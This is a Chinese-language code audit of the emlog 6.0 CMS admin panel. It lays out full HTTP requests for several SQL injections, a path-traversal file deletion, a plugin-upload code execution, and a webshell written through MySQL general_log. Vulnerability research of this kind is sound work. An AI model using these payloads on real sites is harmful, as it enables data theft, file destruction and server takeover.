关于emlog6.0代码审计

1、后台标签删除处存在1处sql注入

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/tag.php?action=dell_all_tag

  2. ● 漏洞参数:tag[xx]

  3. ● 是否存在限制:无

  4. ● 是否还有其他条件:action=dell_all_tag,token

复现

 
  
  1. POST /admin/tag.php?action=dell_all_tag HTTP/1.1

  2. Host: emlog6.0.com

  3. Content-Length: 65

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://emlog6.0.com

  7. Content-Type: application/x-www-form-urlencoded

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://emlog6.0.com/admin/tag.php

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=oqlj6bcle1k5ukcrfnj52e99j4; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=f03cfe2175392b6fea4d5d25ef72278f

  14. Connection: close

  15. c%5B111+or+sleep(1)%5D=1&token=f03cfe2175392b6fea4d5d25ef72278f

 
  
  1. 查看延时的倍数

关于emlog6.0代码审计_第1张图片

代码

 
  
  1. tags变量键值分离,针对键做了数据库操作

关于emlog6.0代码审计_第2张图片

关于emlog6.0代码审计_第3张图片

修复建议

 
  
  1. 对用户的输入验证和过滤。使用预编译和转义函数。

2、后台评论处评论者标签下来自处存在1处sql注入

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/comment.php?action=delbyip&ip=127.0.0.1&token=ee4b851eb3f103685da3bbbdd7837051

  2. ● 漏洞参数:ip

  3. ● 是否存在限制:单引号闭合;需要登录后台获取token

  4. ● 是否还有其他条件:action=delbyip&ip=&token参数都必须存在

复现

 
  
  1. payload:' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

关于emlog6.0代码审计_第4张图片

 
  
  1. GET /admin/comment.php?action=delbyip&ip=1'and+updatexml(1,concat(0x7e,(SELECT+%40%40version),0x7e),1)--+kjdX&token=123e2dd43ef80874d0fe4975866fdf19 HTTP/1.1

  2. Host: emlog6.0.com

  3. Upgrade-Insecure-Requests: 1

  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  6. Referer: http://emlog6.0.com/admin/comment.php?active_del=1

  7. Accept-Encoding: gzip, deflate

  8. Accept-Language: zh-CN,zh;q=0.9

  9. Cookie: em_advset=block; em_sort_new=inline-block; PHPSESSID=2i21vnksbvj4kjcntdm2tq8265; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=123e2dd43ef80874d0fe4975866fdf19; em_logpwd_3=9999; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F

  10. Connection: close

关于emlog6.0代码审计_第5张图片

关于emlog6.0代码审计_第6张图片

代码

 
  
  1. get接收ip变量没有使用addslashesh函数过滤,sql语句里有单引号,直接闭合就可以

关于emlog6.0代码审计_第7张图片

关于emlog6.0代码审计_第8张图片

修复建议

 
  
  1. 对用户的输入验证和过滤。使用预编译和转义函数

3、后台外观-导航-添加页面到导航添加处存在2处sql报错注入

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/navbar.php?action=add_page

  2. ● 漏洞参数:pages[x]=y

  3. ● 是否存在限制:无

  4. ● 是否还有其他条件:action=add_page

复现

 
  
  1. 第一处

 
  
  1. POST /admin/navbar.php?action=add_page HTTP/1.1

  2. Host: emlog6.0.com

  3. Content-Length: 94

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://emlog6.0.com

  7. Content-Type: application/x-www-form-urlencoded

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://emlog6.0.com/admin/navbar.php?error_e=1

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: em_advset=block; em_sort_new=inline-block; em_link_new=inline-block; em_custom_text_new=inline-block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=pk3dk4qk2v7s89ef1e7ckm7851; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=24225d813e551487a6648954b0b94a32; em_logpwd_9=1234567

  14. Connection: close

  15. pages%5B6%5D=2'+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK

关于emlog6.0代码审计_第9张图片

 
  
  1. 第二处

 
  
  1. POST /admin/navbar.php?action=add_page HTTP/1.1

  2. Host: emlog6.0.com

  3. Content-Length: 96

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://emlog6.0.com

  7. Content-Type: application/x-www-form-urlencoded

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://emlog6.0.com/admin/navbar.php?error_e=1

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f

  14. Connection: close

  15. pages%5B2+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK'%5D=111

关于emlog6.0代码审计_第10张图片

代码

 
  
  1. 如果 pages 参数存在并且有值,则将其值赋给变量 $pages,否则将 $pages 赋值为空数组。遍历了一个名为 $pages 的数组。在每次迭代中,它从数组中取出一个键值对,其中键是 $id,而值是 $title。从接收到sql语句都没有任何过滤

关于emlog6.0代码审计_第11张图片

关于emlog6.0代码审计_第12张图片

修复建议

 
  
  1. 对用户的输入验证和过滤。使用预编译和转义函数。

4、后台外观-侧边栏保存组件排序处存在1处sql注入

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/widgets.php?action=compages

  2. ● 漏洞参数:widgets[]

  3. ● 是否存在限制:无

  4. ● 是否还有其他条件:action=compages

复现

 
  
  1. POST /admin/widgets.php?action=compages HTTP/1.1

  2. Host: emlog6.0.com

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

  4. Content-Length: 125

  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  6. Accept-Language: zh-CN,zh;q=0.9

  7. Cache-Control: max-age=0

  8. Content-Type: application/x-www-form-urlencoded

  9. Cookie: em_advset=block; em_sort_new=inline-block; em_custom_text_new=inline-block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=1k2r5e2fgke63vjqv3gbn1mkf6; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=3727215c7d05ed0180fa46f6b4043bd7

  10. Origin: http://emlog6.0.com

  11. Referer: http://emlog6.0.com/admin/widgets.php?activated=1

  12. Upgrade-Insecure-Requests: 1

  13. Accept-Encoding: gzip

  14. wgnum=1&widgets%5B%5D=search&widgets%5B%5D=archive&widgets%5B%5D=link'and/**/extractvalue(1,concat(char(126),database()))and'

关于emlog6.0代码审计_第13张图片

代码

 
  
  1. widgets参数存在就将它序列化,不存在赋值为空

关于emlog6.0代码审计_第14张图片

 
  
  1. 如果 $isSyntax 的值为假,即值为0或为空,$value 则被赋值为在其两侧加上单引号的字符串,即 ' . $value . '。

关于emlog6.0代码审计_第15张图片

修复建议

 
  
  1. 对用户的输入验证和过滤。使用预编译和转义函数。

5、后台系统-数据库备份删除处存在任意文件删除

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/data.php?action=dell_all_bak

  2. ● 漏洞参数:bak[]

  3. ● 是否存在限制:无

  4. ● 是否还有其他条件:action=dell_all_bak

复现

 
  
  1. 在自己的文件夹创建文件,可实现跨目录删除文件

 
  
  1. POST /admin/data.php?action=dell_all_bak HTTP/1.1

  2. Host: emlog6.0.com

  3. Content-Length: 27

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://emlog6.0.com

  7. Content-Type: application/x-www-form-urlencoded

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://emlog6.0.com/admin/data.php

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: em_advset=block; em_plugin_new=block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec

  14. Connection: close

  15. bak%5B%5D=../../../../1.txt

关于emlog6.0代码审计_第16张图片

代码

 
  
  1. bak参数存在且是数组,就会执行删除操作

关于emlog6.0代码审计_第17张图片

修复建议

 
  
  1. 加强用户输入验证,并限制用户所能删除的文件范围。

6、后台系统-插件处存在1处文件上传漏洞

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/plugin.php?action=upload_zip

  2. ● 漏洞参数:filename

  3. ● 是否存在限制:上传的文件和文件夹的名字相同

  4. ● 是否还有其他条件:action=upload_zip,name=pluzip

复现

 
  
  1. POST /admin/plugin.php?action=upload_zip HTTP/1.1

  2. Host: emlog6.0.com

  3. Content-Length: 629

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://emlog6.0.com

  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2DpnCXUHc5otIBms

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://emlog6.0.com/admin/plugin.php

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f

  14. Connection: close

  15. ------WebKitFormBoundary2DpnCXUHc5otIBms

  16. Content-Disposition: form-data; name="pluzip"; filename="text.zip"

  17. Content-Type: application/x-zip-compressed

  18. 请求内容不显示:PK

关于emlog6.0代码审计_第18张图片

 
  
  1. 上传后直接访问解压后的文件

关于emlog6.0代码审计_第19张图片

代码

 
  
  1. 先判断上传的文件是否存在,如存在就判断上传的后缀是否为zip,在将上传的zip文件进行解压操作

关于emlog6.0代码审计_第20张图片

 
  
  1. 对压缩包里的文件名称进行判断,如果压缩包名称为test则压缩包里必须存在test.php文件,否者会进行报错

关于emlog6.0代码审计_第21张图片

修复建议

 
  
  1. 修复文件上传漏洞需要限制上传文件类型、验证文件的MIME类型、设置文件上传大小限制、实施恶意文件扫描,以及避免执行上传的文件,从而确保服务器的安全性。

7、后台数据库备份拿shell

漏洞条件

 
  
  1. ● 漏洞url: http://emlog6.0.com/admin/data.php?action=import

  2. ● 漏洞参数:

  3. ● 是否存在限制:需要高数据库权限

  4. ● 是否还有其他条件:action=import,name=sqlfile, filename=参数存在

复现

 
  
  1. 数据库拿shell主要有两种方式:

  2. 一、select …into outfile 利用需要的条件有:

  3. ● 对web目录需要有写权限;

  4. ● 能够使用单引号;

  5. ● 知道绝对路径;

  6. ● secure-file-priv值必须为空(不能为null)

  7. 二、开启mysql日志记录general_log,将日志写入特定目录下,利用条件有:

  8. ● 对web目录需要要写权限;

  9. ● 能够使用单引号;

  10. ● 知道绝对路径;

  11. ● 能够执行多行sql语句。


 
  
  1. 第一种方法,先备份sql语句,在其基础上插入select “” into outfile ‘eval.php’语句就ok了,但是默认secure-file-priv值null,这个方法行不通。

  2. - 其中当参数 secure_file_priv 为空时,对导入导出无限制

  3. - 当secure_file_priv 值为一个指定的目录时,只能向指定的目录导入导出

  4. - 当secure_file_priv 值被设置为NULL时,禁止导入导出功能

关于emlog6.0代码审计_第22张图片

 
  
  1. 第二种方法:数据库备份-编辑备份内容-导入编辑好的sql文件,直接访问生成的文件

 
  
  1. #开启日志记录

  2. set global general_log='on';

  3. #设置日志记录的路径

  4. SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval1.php';

  5. #任意查询恶意内容都会被保存到日志

  6. SELECT '';

 
  
  1. 注意:开启sql日志记录和设置日志路径文件需要高数据库权限

关于emlog6.0代码审计_第23张图片

 
  
  1. 当前网站的数据库权限为,cms安装时选择的用户,

关于emlog6.0代码审计_第24张图片

 
  
  1. 详细请求数据包

 
  
  1. POST /admin/data.php?action=import HTTP/1.1

  2. Host: emlog6.0.com

  3. Content-Length: 1086

  4. Cache-Control: max-age=0

  5. Upgrade-Insecure-Requests: 1

  6. Origin: http://emlog6.0.com

  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfPRivdhzWTTFgYdA

  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

  10. Referer: http://emlog6.0.com/admin/data.php

  11. Accept-Encoding: gzip, deflate

  12. Accept-Language: zh-CN,zh;q=0.9

  13. Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=0b2864j2ah3vhq7ouift3i53i3; EM_AUTHCOOKIE_I8ovfEdc33MzTKkbau3AYXkL5WEBeWQF=emm666%7C%7Cd989e69e972e2e1e490cd83d89356916; EM_TOKENCOOKIE_8bd3e1f19392195216b74e3a316ab187=d1709c4b7c5cadfa5c1e988f39e0eed1; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=0d1a684b7b31b8048948247ab4fce60f

  14. Connection: close

  15. ------WebKitFormBoundaryfPRivdhzWTTFgYdA

  16. Content-Disposition: form-data; name="token"

  17. 0d1a684b7b31b8048948247ab4fce60f

  18. ------WebKitFormBoundaryfPRivdhzWTTFgYdA

  19. Content-Disposition: form-data; name="sqlfile"; filename="emlog_20240102_213007.sql"

  20. Content-Type: application/octet-stream

  21. #version:emlog 6.0.0

  22. #date:2024-01-02 21:30

  23. #tableprefix:emlog_

  24. DROP TABLE IF EXISTS emlog_link;

  25. set global general_log='on';

  26. SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval99.php';

  27. SELECT '';

  28. CREATE TABLE `emlog_link` (

  29. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,

  30. `sitename` varchar(30) NOT NULL DEFAULT '',

  31. `siteurl` varchar(75) NOT NULL DEFAULT '',

  32. `description` varchar(255) NOT NULL DEFAULT '',

  33. `hide` enum('n','y') NOT NULL DEFAULT 'n',

  34. `taxis` int(10) unsigned NOT NULL DEFAULT '0',

  35. PRIMARY KEY (`id`)

  36. ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

  37. INSERT INTO emlog_link VALUES('1','emlog.net','http://www.emlog.net','emlog官方主页','n','0');

  38. #the end of backup

  39. ------WebKitFormBoundaryfPRivdhzWTTFgYdA--

关于emlog6.0代码审计_第25张图片

 
  
  1. 直接访问即可

关于emlog6.0代码审计_第26张图片

 
  
  1. 此时数据库的记录已经开启,且写入文件为上面的指定php文件,我们很多设计到数据库的操作都会被记录,

  2. 比如用户登录的时候,一定会将传入的账户密码带入数据库查询,我们可以直接在登录的时候,传入payload:

  3. 然后刷新日志文件eval99.php即可触发

关于emlog6.0代码审计_第27张图片

代码

 
  
  1. 导入备份文件,日志默认记录,被配文件会被日志执行sql语句

关于emlog6.0代码审计_第28张图片

关于emlog6.0代码审计_第29张图片

修复建议

 
  
  1. 修复GetShell漏洞的方式是严格限制并检查文件上传,设置正确的文件权限,以及合理配置服务器以防止不安全的文件执行。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

你可能感兴趣的:(代码审计)